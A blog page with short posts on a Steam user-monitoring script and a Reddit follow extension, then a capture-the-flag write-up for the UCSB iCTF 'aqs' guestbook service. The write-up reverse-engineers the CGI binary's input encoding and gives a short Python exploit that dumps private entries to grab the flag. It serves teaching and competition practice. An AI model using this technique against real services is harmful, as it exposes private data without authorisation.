Follow users on Steam

Steam no longer allows you to add friends if you have a new account, unless you buy a game. This is pretty irritating and I can’t play with some of my friends due to the same reason.

I wrote a script that uses the Steam Web API and monitors some userids. Using this script you can be notified every time they come online or start a game.

Screenshot from 2015-04-24 19:29:43

The script, as of now, will only work on Linux.

Follow Users on Reddit

I have, from a few days, been following posts of some people I like. The process however is a bit cumbersome. There isn’t any way to follow a user on reddit and get notifications, when they post something new. I sat for a few hours and made this little browser extension that does this exactly.

Install it!

Screenshot from 2015-04-19 06:29:32

Add the users you want to follow!

Screenshot from 2015-04-19 06:29:03

Let it notify you.

As the extension is not on the chrome appstore, you’ll have to download the github code and “Load unpacked extension” from the extensions page.

UCSB iCTF aqs writeup

We’re given a few cgi applications: cprog, guestbook.py, library.pyc and parser.pl. They’re hosted using a python http server which run on port 8014. Let’s look at the application:

Screenshot from 2015-04-15 19:57:30

Users can add a guestbook entry which are identified by name. The flags are private private guestbook entries and we only have the first part of their username, second part is separated by an underscore.

flagid_second is the username we need to get the flag for.

Let’s have a look at guestbook.py:

#!/usr/bin/python

from library import *

print "Content-type: text/html"
print

print """<html>
<head><title>The Book</title></head>
<body bgcolor="dddddd">
"""
if sign():
 signit()
else:
 thebook()
 print """<br><br>
 <table bgcolor="00ffff"><tr><td>
 <flash><font color="ffff00"><H2>Sign my guestbook</h2></font></flash>
 <form method="get" action="guestbook.py">Name:<input type="text" name="name"></input><br>
 Comment:<input type="text" name="comment"></input><br>
 Private:<input type="checkbox" name="priv"></input>
 <input type="hidden" name="command" value="sign"></input><input type=submit></input>
 </form></td></tr>
 </table>
 <br><br>
 <table bgcolor="00ffff"><tr><td>
 <flash><font color="ffff00"><H2>Look up private entry</h2></font></flash>
 <form method="get" action="guestbook.py">Name:<input type="text" name="name"></input><br>
 <input type="hidden" name="command" value="lookup"></input><input type=submit></input></form>
 </td></tr>
 </table>
 """

print """
</body>
</html>"""

It seems to inherit all the important functions from library.pyc. Lets use uncompyle2 to uncompile the pyc.

Here’s the uncompiled version:

# Embedded file name: library.py
import os
import random
import re
import os
parsepat = re.compile('The command is (.*)')
linepat = re.compile('^P. ([^ ]*) (.*)')
urlpat = re.compile('name=([^&]*)&comment=([^&]*)&(priv=)?')
urlpat2 = re.compile('name=([^&]*)&command=lookup')
alphabet = 'abcdefghijklmnopqrstuvwxyz'

def getsession():
 res = ''
 for i in range(10):
 res = res + random.choice(alphabet)

 return res


def sign():
 for l in os.popen('./cgi-bin/cprog --process="<spamtron><exec-set><initializer>' + getsession() + '</initializer></exec-set></spamtron>"').readlines():
 res = parsepat.match(l)
 if res:
 command = res.group(1)
 if command == 'sign':
 return 1

 return None


def thebook():
 print '<table bgcolor="00ffff"><tr><td>\n <H1>Guestbook</H1>\n '
 res2 = urlpat2.match(os.environ['QUERY_STRING'])
 if res2:
 for l in os.popen('./cgi-bin/cprog --process="<spamtron><exec-set><showpriv>' + getsession() + '</showpriv></exec-set></spamtron>"').readlines():
 print '<p>'+l+'</p>'
 res = linepat.match(l)
 if res and res.group(1) == res2.group(1):
 print '<b>', res.group(1), '</b>: ', res.group(2), '<br>'

 else:
 for l in os.popen('./cgi-bin/cprog --process="<spamtron><exec-set><showall>' + getsession() + '</showall></exec-set></spamtron>"').readlines():
 res = linepat.match(l)
 print '<p>' + l + '-' + getsession() + '</p>'
 if res:
 print '<b>', res.group(1), '</b>: ', res.group(2), '<br>'

 print '</td></tr></table>'


def signit():
 res = urlpat.match(os.environ['QUERY_STRING'])
 if res:
 out = file('/var/ctf/aqs/guestbook', 'a+')
 if res.group(3):
 out.write('PR ' + res.group(1) + ' ' + res.group(2) + '\n')
 else:
 out.write('PU ' + res.group(1) + ' ' + res.group(2) + '\n')
 out.close()
 print 'Thanks for signing my guestbook<br>\n <a href="guestbook.py">Go back</a>\n'
# okay decompyling library.pyc 
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed

It relies on cprog for reading of private and public entries. Let’s disassemble cprog and check what’s happening.

Main:

.text:0804855B main proc near ; DATA XREF: _start+17o
.text:0804855B
.text:0804855B arg_0 = dword ptr 8
.text:0804855B arg_4 = dword ptr 0Ch
.text:0804855B
.text:0804855B push ebp
.text:0804855C mov ebp, esp
.text:0804855E and esp, 0FFFFFFF0h
.text:08048561 sub esp, 20h
.text:08048564 cmp [ebp+arg_0], 2
.text:08048568 jnz short loc_8048576
.text:0804856A mov eax, [ebp+arg_4]
.text:0804856D mov eax, [eax+4]
.text:08048570 mov [esp+1Ch], eax
.text:08048574 jmp short loc_8048592
.text:08048576 ; ---------------------------------------------------------------------------
.text:08048576
.text:08048576 loc_8048576: ; CODE XREF: main+Dj
.text:08048576 mov dword ptr [esp], offset s ; "Content-type: text/html\n"
.text:0804857D call _puts
.text:08048582 mov dword ptr [esp], offset name ; "QUERY_STRING"
.text:08048589 call _getenv
.text:0804858E mov [esp+1Ch], eax
.text:08048592
.text:08048592 loc_8048592: ; CODE XREF: main+19j
.text:08048592 mov dword ptr [esp], offset aSpamtronTmCgiS ; "SpamTron(TM) CGI speedup routine"
.text:08048599 call _puts
.text:0804859E mov dword ptr [esp], offset aCopyright2005S ; "Copyright 2005 Santa's Helper"
.text:080485A5 call _puts
.text:080485AA mov dword ptr [esp], 10 ; c
.text:080485B1 call _putchar
.text:080485B6 mov dword ptr [esp], offset aThisProgramUse ; "This program uses patented technology t"...
.text:080485BD call _puts
.text:080485C2 mov dword ptr [esp], offset aProcessingOfCg ; "processing of cgi-scripts more than 100"...
.text:080485C9 call _puts
.text:080485CE mov dword ptr [esp], 10 ; c
.text:080485D5 call _putchar
.text:080485DA mov eax, [esp+28]
.text:080485DE mov [esp], eax
.text:080485E1 call speedup
.text:080485E6 mov eax, ds:stdout@@GLIBC_2_0
.text:080485EB mov [esp], eax ; stream
.text:080485EE call _fflush
.text:080485F3 mov dword ptr [esp+0Ch], 0
.text:080485FB mov eax, [esp+1Ch]
.text:080485FF mov [esp+8], eax
.text:08048603 mov dword ptr [esp+4], offset path ; "./cgi-bin/parser.pl"
.text:0804860B mov dword ptr [esp], offset path ; "./cgi-bin/parser.pl"
.text:08048612 call _execl
.text:08048617 mov eax, 0
.text:0804861C leave
.text:0804861D retn
.text:0804861D main endp

If any command line arguments have been passed, it takes the commandline argument and passes it to speedup, or else it gets the string from getenv(“QUERY_STRING”) and does the same.

Speedup:

.text:080484FD speedup proc near ; CODE XREF: main+86p
.text:080484FD
.text:080484FD temp2 = dword ptr -0Ch
.text:080484FD temp = dword ptr -8
.text:080484FD incrementby = dword ptr -4
.text:080484FD inp_string = dword ptr 8
.text:080484FD
.text:080484FD push ebp
.text:080484FE mov ebp, esp
.text:08048500 sub esp, 12
.text:08048503 mov [ebp+incrementby], 1
.text:0804850A
.text:0804850A checkif_string_i__null: ; CODE XREF: speedup+5Aj
.text:0804850A mov eax, [ebp+inp_string]
.text:0804850D cmp byte ptr [eax], 0
.text:08048510 jnz short do_string_manipulation
.text:08048512 jmp short return_to_caller
.text:08048514 ; ---------------------------------------------------------------------------
.text:08048514
.text:08048514 do_string_manipulation: ; CODE XREF: speedup+13j
.text:08048514 mov ecx, [ebp+inp_string]
.text:08048517 mov edx, [ebp+inp_string]
.text:0804851A movzx eax, byte ptr [ebp+incrementby]
.text:0804851E add al, [edx] ; *string_pointer += incr_by
.text:08048520 mov [ecx], al
.text:08048522 inc [ebp+inp_string]
.text:08048525 mov eax, [ebp+incrementby]
.text:08048528 add eax, 3 ; incr_by += 3
.text:0804852B mov [ebp+temp], eax ; temp = incr_by
.text:0804852E mov edx, [ebp+temp]
.text:08048531 mov [ebp+temp2], edx ; temp2 = temp;
.text:08048534 cmp [ebp+temp2], 0
.text:08048538 jns short do_str_manipulation2 ; if (temp >= 0) { temp2 += 15; }
.text:0804853A add [ebp+temp2], 15
.text:0804853E
.text:0804853E do_str_manipulation2: ; CODE XREF: speedup+3Bj
.text:0804853E mov eax, [ebp+temp2]
.text:08048541 sar eax, 4
.text:08048544 mov [ebp+incrementby], eax ; incr_by = temp2 >> 4;
.text:08048547 mov eax, [ebp+incrementby]
.text:0804854A shl eax, 4
.text:0804854D mov edx, [ebp+temp]
.text:08048550 sub edx, eax ; temp - incr_by << 4
.text:08048552 mov eax, edx
.text:08048554 mov [ebp+incrementby], eax ; incr_by = temp - incr_by << 4
.text:08048557 jmp short checkif_string_i__null
.text:08048559 ; ---------------------------------------------------------------------------
.text:08048559
.text:08048559 return_to_caller: ; CODE XREF: speedup+15j
.text:08048559 leave
.text:0804855A retn
.text:0804855A speedup endp
.text:0804855A

Basically it manipulates the string given in, and returns to main.

Here’s the C equivalent:

int incr_by = 1;
while (*string_pointer != '\0') {
 *string_pointer += incr_by;
 incr_by += 3;
 int temp = incr_by;
 int temp2 = temp;
 if (temp >= 0) { temp2 += 15; }
 incr_by = temp2 >> 4; // arithmetic shift
 incr_by = temp - incr_by << 4;
}

The returned string from speedup is passed on to parser.pl as a command line argument using execl.

Let’s now check out parser.pl:

#!/usr/bin/perl

$command = $ARGV[0];
print "Command: " . $command . "\n";

if ($command =~ m/gyFGwom/) {
 @pairs = split(/&/,$ENV{'QUERY_STRING'});
 print @pairs
 foreach $pair (@pairs) {
 ($name, $value) = split(/=/, $pair);
 if ($name eq "command") {
 print "The command is " . $value ."\n"
 }
 }
}
elsif ($command =~ m/is~kylA/) {
 open (FILE,"/var/ctf/aqs/guestbook");
 @LINES=<FILE>;
 close(FILE);
 $SIZE=@LINES;
 for ($i=0;$i<=$SIZE;$i++) {
 if ($LINES[$i] =~ m/^PU/) {
 print $LINES[$i]
 } 
 }
}
elsif ($command =~ m/is~z/) {
 open (FILE,"/var/ctf/aqs/guestbook");
 @LINES=<FILE>;
 close(FILE);
 $SIZE=@LINES;
 for ($i=0;$i<=$SIZE;$i++) {
 if ($LINES[$i] =~ m/^PR/) {
 print $LINES[$i]
 } 
 }
}
else {
 print "Unknown command " . $command
}

Finally! This is the file used for reading private and public entries. We can get the list of all private entries using “is~z” as input.

Running cprog with “aaaa” as input gives us:

Unknown command behk

so, we can make out that the first 4 indexes are incremented by 1, 4, 7, 10

Referring to the ascii table we get:

i - 1 = h
s - 4 = o
~ - 7 = w
z - 10 = p

passing howp to cprog get’s us all the private entries. Nice! From main’s definition we know we can pass the payload on the query string as well, so 192.168.65.167:8014/cgi-bin/cprog?howp gives me all the private entries.

Screenshot from 2015-04-15 20:32:02

Let’s write an exploit for the same:

class Exploit():
 def execute(self, ip, port, flag_id):
 import requests
 url = 'http://%s:%d/cgi-bin/cprog?howp' % (ip, port,)
 
 r = requests.get(url).text.strip().split("\n")
 #-- get the flag
 flag = [a for a in r if a.startswith("PR %s" % (flag_id))]
 flag = flag[0].strip().split(" ")[-1].strip()
 self.flag = flag

 def result(self):
 return {'FLAG' : self.flag}
 
ex = Exploit()
ex.execute("192.168.65.167", 8014, "zIQXoIkoCJ")
print ex.result()